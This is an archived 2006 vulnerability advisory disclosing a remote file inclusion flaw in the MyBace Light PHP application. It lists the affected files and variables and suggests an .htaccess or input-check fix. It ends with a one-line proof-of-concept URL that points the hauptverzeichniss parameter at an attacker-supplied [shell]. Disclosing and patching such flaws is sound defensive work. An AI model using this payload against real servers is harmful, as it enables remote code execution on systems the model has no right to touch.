Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:14127
HistorySep 02, 2006 - 12:00 a.m.

MyBace Light (hauptverzeichniss) Remote File Inclusion

2006-09-0200:00:00
vulners.com
19

±-------------------------------------------------------------------
+

±-------------------------------------------------------------------
+

  • Affected Files:
  • includes/login_check.php
  •       var: $hauptverzeichniss
    
  • admin/login/content/user_daten.php
  •       var: $template_back
    

±-------------------------------------------------------------------
+

  • $hauptverzeichniss & $template_back is not properly sanitized before being used

±-------------------------------------------------------------------
+

  • Solution:
  • Deny direct access to these files using a .htaccess-file
  • or modify code:
  • if(!isset($_REQUEST['hauptverzeichniss']) &&
    !isset($_GET['hauptverzeichniss'])
  • && !isset($_POST['hauptverzeichniss'])){
    
  • //code of org. *.php
  • }
  • else {
  • echo "You cannot access this file directly.";
  • die();
  • }

±-------------------------------------------------------------------
+

  • PoC:
  • http://[target]/includes/login_check.php?hauptverzeichniss=[shell]

±-------------------------------------------------------------------
+

  • Notice: I've tried to contact venedor 3 weeks ago, but no answer yet…
  • Greets: /str0ke

±------------------------[ E O F ]----------------------------------